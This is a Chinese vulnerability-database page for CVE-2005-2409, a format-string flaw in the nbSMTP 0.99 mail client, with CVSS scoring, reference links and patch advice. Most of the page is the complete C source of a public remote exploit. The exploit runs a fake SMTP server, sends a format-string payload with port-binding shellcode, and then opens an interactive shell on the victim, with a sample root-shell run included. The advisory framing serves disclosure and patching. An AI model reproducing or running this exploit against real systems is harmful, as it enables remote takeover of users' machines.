CVE-2005-2409
CVSS7.5
发布时间 :2005-08-01 00:00:00
修订时间 :2008-09-05 16:51:41
NMCOE    

[原文]Format string vulnerability in util.c in nbsmtp 0.99 and earlier, while running in debug mode, allows remote attackers to execute arbitrary code via format string specifiers that are not properly handled in a syslog call.


[CNNVD]nbSMTP客户端 格式串处理漏洞(CNNVD-200508-004)

        nbSMTP是可以在chroot牢笼、嵌入式系统、笔记本和工作站上运行的SMTP客户端。
        nbSMTP在处理服务器回应的过程中存在格式串处理漏洞,可能导致在客户端的机器上执行任意指令。攻击者可以设置恶意的SMTP服务器,然后利用这个漏洞以运行nbSMTP用户的权限执行任意代码。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2409
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2409
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200508-004
(官方数据源) CNNVD

- 其它链接及资源

http://people.freebsd.org/~niels/issues/nbsmtp-20050726.txt
(PATCH)  MISC  http://people.freebsd.org/~niels/issues/nbsmtp-20050726.txt
http://www.vuxml.org/freebsd/debbb39c-fdb3-11d9-a30d-00b0d09acbfc.html
(UNKNOWN)  CONFIRM  http://www.vuxml.org/freebsd/debbb39c-fdb3-11d9-a30d-00b0d09acbfc.html
http://xforce.iss.net/xforce/xfdb/21674
(UNKNOWN)  XF  nbsmtp-format-string(21674)
http://www.securityfocus.com/bid/14441
(UNKNOWN)  BID  14441
http://secunia.com/advisories/16324
(UNKNOWN)  SECUNIA  16324
http://secunia.com/advisories/16279
(UNKNOWN)  SECUNIA  16279

- 漏洞信息

nbSMTP客户端 格式串处理漏洞
高危 格式化字符串
2005-08-01 00:00:00 2005-10-20 00:00:00
远程  
        nbSMTP是可以在chroot牢笼、嵌入式系统、笔记本和工作站上运行的SMTP客户端。
        nbSMTP在处理服务器回应的过程中存在格式串处理漏洞,可能导致在客户端的机器上执行任意指令。攻击者可以设置恶意的SMTP服务器,然后利用这个漏洞以运行nbSMTP用户的权限执行任意代码。
        

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://security.gentoo.org/glsa/glsa-200508-03.xml

- 漏洞信息 (1138)

nbSMTP <= 0.99 (util.c) Client-Side Command Execution Exploit (EDBID:1138)
linux remote
2005-08-05 Verified
0 CoKi
N/A [点击下载]
/* nbSMTP_fsexp.c
 *
 * nbSMTP v0.99 remote format string exploit
 * by CoKi <coki@nosystem.com.ar>
 *
 * root@nosystem:/home/coki/audi# ./nbSMTP_fsexp
 *
 *  nbSMTP v0.99 remote format string exploit
 *  by CoKi <coki@nosystem.com.ar>
 *
 *  Use: ./nbSMTP_fsexp [options]
 *
 *  options:
 *         -t <arg>    type of target system
 *         -r <arg>    return address
 *         -s <arg>    shellcode address
 *         -o <arg>    offset
 *         -l          targets list
 * 
 * root@nosystem:/home/coki/audit# ./nbSMTP_fsexp -t2
 *
 *  nbSMTP v0.99 remote format string exploit
 *  by CoKi <coki@nosystem.com.ar>
 *
 *  [*] system                     : Slackware Linux 10.0
 *  [*] return address             : 0x0804d8cc
 *  [*] shellcode address          : 0x08053613
 *  [*] building evil buffer       : done
 *  [*] running fake smtp server   : done
 *
 *  [*] waiting...                 : 10.0.0.1:2046 connected
 *  [*] sending evil command...    : done
 *
 *  [*] checking for shell...      : done
 *
 *  [!] you have a shell :)
 *
 * Linux servidor 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i586 unknown unknown GNU/Linux
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),102(bbs)
 *
 * Tested in Slackware Linux 9.0 / 10.0 / 10.1
 *
 * by CoKi <coki@nosystem.com.ar>
 * No System Group - http://www.nosystem.com.ar
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SMTPD		25
#define BUFFERSIZE	1024
#define ERROR		-1
#define TIMEOUT		3
#define SHELL		5074

int connect_timeout(int sfd, struct sockaddr *serv_addr,
	socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(int retaddr, int shaddr);

/*
 * Shellcode - portbind 5074 (84 bytes)
 * by Giuseppe Gottardi 'oveRet' <overet@securitydate.it>
 */

char shellcode[] = 
	"\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89"
	"\xe1\xcd\x80\x52\x43\x68\xff\x02\x13\xd2\x89\xe1"
	"\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80"
	"\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0"
	"\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
	"\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
	"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

struct {
	int num;
	char *os;
	int retaddr;
	int shaddr;
}targets[] = {
	1, "Slackware Linux 9.0", 0x0804d4d4, 0x080531c3,	// .dtors
	2, "Slackware Linux 10.0", 0x0804d8cc, 0x08053613,	// .dtors
	3, "Slackware Linux 10.1", 0x0804d898, 0x08053e4e	// .dtors
	};

int main(int argc, char *argv[])
{
	char opt, *system=NULL;
	int shaddr=0, retaddr=0, targetnum=0, offset=0, i;

	printf("\n nbSMTP v0.99 remote format string exploit\n");
	printf(" by CoKi <coki@nosystem.com.ar>\n\n");

	while((opt = getopt(argc,argv,"r:s:t:lo:")) != EOF) {
		switch (opt) {
			case 'r':
				retaddr = strtoul(optarg,NULL,0);
				system = "unknown";
				break;
			case 's':
				shaddr = strtoul(optarg,NULL,0);
				break;
			case 't':
				targetnum = atoi(optarg)-1;
				if(targets[targetnum].num) {				
					system = targets[targetnum].os;
					retaddr = targets[targetnum].retaddr;
					shaddr = targets[targetnum].shaddr;
				}
				else use(argv[0]);
				break;
			case 'l':
				printlist();
				break;
			case 'o':
					offset = atoi(optarg);
			        shaddr += offset;
			        break;
			default:
				use(argv[0]);
				break;
		}
	}

	if(retaddr == 0) use(argv[0]);
	if(shaddr == 0) use(argv[0]);
	if(system == NULL) {
		system = "unknown";
	}

	printf(" [*] system\t\t\t: %s\n", system);
	printf(" [*] return address\t\t: %010p\n", retaddr);

	printf(" [*] shellcode address\t\t: %010p", shaddr);
	fflush(stdout);

	if(offset) printf(" (offset %d)\n", offset);
	else printf("\n");

	exploit(retaddr, shaddr);
}

void exploit(int retaddr, int shaddr) {
	char smtp[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE], host[255];
	int sock, newsock, i, reuseaddr=1;
	unsigned int bal1, bal2;
	int cn1, cn2;
	struct sockaddr_in remoteaddr;
	struct sockaddr_in localaddr;
	int addrlen = sizeof(struct sockaddr_in);
	struct hostent *he;

	printf(" [*] building evil buffer\t:");
	fflush(stdout);

	/* adding pads */
	sprintf(smtp, "553 xx");

	/* adding return address */
	bzero(temp, sizeof(temp));
	sprintf(temp, "%s", &retaddr);
	strncat(smtp, temp, 4);
	retaddr += 2;
	sprintf(temp, "%s", &retaddr);
	strncat(smtp, temp, 4);

	/* adding nops */
	strcat(smtp, "\x90\x90\x90\x90");

	/* adding shellcode */
	strcat(smtp, shellcode);

	bal1 = (shaddr & 0xffff0000) >> 16;
	bal2 = (shaddr & 0x0000ffff);

	cn1 = bal2 - 14 - 2 - 8 - 4 - 84;
	cn1 = check(cn1);
	cn2 = bal1 - bal2;
	cn2 = check(cn2);

	/* adding evil string */
	sprintf(temp, "%%%du%%7$n%%%du%%8$n", cn1, cn2);
	strcat(smtp, temp);
	strcat(smtp, "\n");

	printf(" done\n");
	printf(" [*] running fake smtp server\t:");
	fflush(stdout);

	localaddr.sin_family = AF_INET;
	localaddr.sin_port = htons(SMTPD);
	localaddr.sin_addr.s_addr = INADDR_ANY;
	bzero(&(localaddr.sin_zero), 8);

	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		perror(" socket()");
		printf("\n");
		exit(1);
	}

	if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
		(socklen_t)sizeof(reuseaddr)) < 0) {
		perror(" setsockopt()");
		printf("\n");
		exit(1);
	}

	if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) {
		perror(" bind()");
		printf("\n");
		exit(1);
	}

	if (listen(sock, 1) < 0) {
		perror(" listen()");
		printf("\n");
		exit(1);
	}

	printf(" done\n");
	printf("\n [*] waiting...");
	fflush(stdout);

	if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) < 0) {
		perror(" accept()");
		printf("\n");
		exit(1);
	}

	if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 0) {
		perror(" getpeername()");
		printf("\n");
		exit(1);
	}

	printf("\t\t\t: %s:%u connected\n", inet_ntoa(remoteaddr.sin_addr), ntohs(remoteaddr.sin_port));
	fflush(stdout);

	printf(" [*] sending evil command...\t:");
	fflush(stdout);

	bzero(temp, sizeof(temp));
	sprintf(temp, "220\n");

	if (write(newsock, temp, strlen(temp)) <= 0) {
		perror(" write()");
		printf("\n");
		exit(1);
	}

	if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
		perror(" read()");
		printf("\n");
		exit(1);
	}

	bzero(temp, sizeof(temp));
	sprintf(temp, "250\n");

	if (write(newsock, temp, strlen(temp)) <= 0) {
		perror(" write()");
		printf("\n");
		exit(1);
	}

	if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
		perror(" read()");
		printf("\n");
		exit(1);
	}

	if (write(newsock, smtp, strlen(smtp)) <= 0) {
		perror(" write()");
		printf("\n");
		exit(1);
	}

	close(sock);
	close(newsock);

	printf(" done\n\n");
	fflush(stdout);
		
	printf(" [*] checking for shell...\t:");
	fflush(stdout);

	sprintf(host, "%s", inet_ntoa(remoteaddr.sin_addr));
	sleep(1);

	shell(host, SHELL);
}

void shell(char *host, int port) {
	int sockfd, n;
	char buff[BUFFERSIZE], *command = "uname -a; id;\n";
	fd_set readfs;
	struct hostent *he;
	struct sockaddr_in dest_dir;

	if((he=gethostbyname(host)) == NULL) {
		herror(" gethostbyname()");
		printf("\n");
		exit(1);
	}

	if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
		perror(" socket()");
		printf("\n");
		exit(1);
	}

	dest_dir.sin_family = AF_INET;
	dest_dir.sin_port = htons(port);
	dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
	bzero(&(dest_dir.sin_zero), 8);

	if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
		sizeof(struct sockaddr), TIMEOUT) == ERROR) {

		printf(" failed!\n\n");
		exit(1);
	}

	printf(" done");
	fflush(stdout);

	/* owned ;) */
	printf("\n\n [!] you have a shell :)\n\n");
	fflush(stdout);

	send(sockfd, command, strlen(command), 0);

	while(1) {
		FD_ZERO(&readfs);
		FD_SET(0, &readfs);
		FD_SET(sockfd, &readfs);
		if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
		if(FD_ISSET(0,&readfs)) {
			if((n = read(0,buff,sizeof(buff))) < 1)
			exit(0);
			if(send(sockfd, buff, n, 0) != n) exit(0);
		}
		if(FD_ISSET(sockfd,&readfs)) {
			if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
			write(1, buff, n);
		}
	}
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
	socklen_t addrlen, int timeout) {

	int res, slen, flags;
	struct timeval tv;
	struct sockaddr_in addr;
	fd_set rdf, wrf;

	fcntl(sfd, F_SETFL, O_NONBLOCK);

	res = connect(sfd, serv_addr, addrlen);

	if (res >= 0) return res;

	FD_ZERO(&rdf);
	FD_ZERO(&wrf);

	FD_SET(sfd, &rdf);
	FD_SET(sfd, &wrf);
	bzero(&tv, sizeof(tv));
	tv.tv_sec = timeout;

	if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
		return -1;

	if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
		slen = sizeof(addr);
		if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
			return -1;

		flags = fcntl(sfd, F_GETFL, NULL);
		fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

		return 0;
	}

	return -1;
}

int check(unsigned long addr) {
	char tmp[128];
	snprintf(tmp, sizeof(tmp), "%d", addr);
	if(atoi(tmp) < 10)
	addr = addr + 65536;

	return addr;
}

void use(char *program) {
	printf(" Use: %s [options]\n", program);
	printf("\n options:\n");
	printf("	-t <arg>    type of target system\n");
	printf("	-r <arg>    return address\n");
	printf("	-s <arg>    shellcode address\n");
	printf("	-o <arg>    offset\n");
	printf("	-l          targets list\n\n");
	exit(1);
}

void printlist(void) {
	int i=0;

	printf(" targets\n");
	printf(" -------\n\n");

	while(targets[i].num) {
		printf(" [%d] %s\n", targets[i].num, targets[i].os);
		i++;
	}
	
	printf("\n");
	exit(0);
}

// milw0rm.com [2005-08-05]
		

- 漏洞信息

18478
nbSMTP Client log_msg Format String
Local / Remote, Context Dependent Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-07-28 Unknow
2005-08-05 Unknow

- 解决方案

Upgrade to version 1.00 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站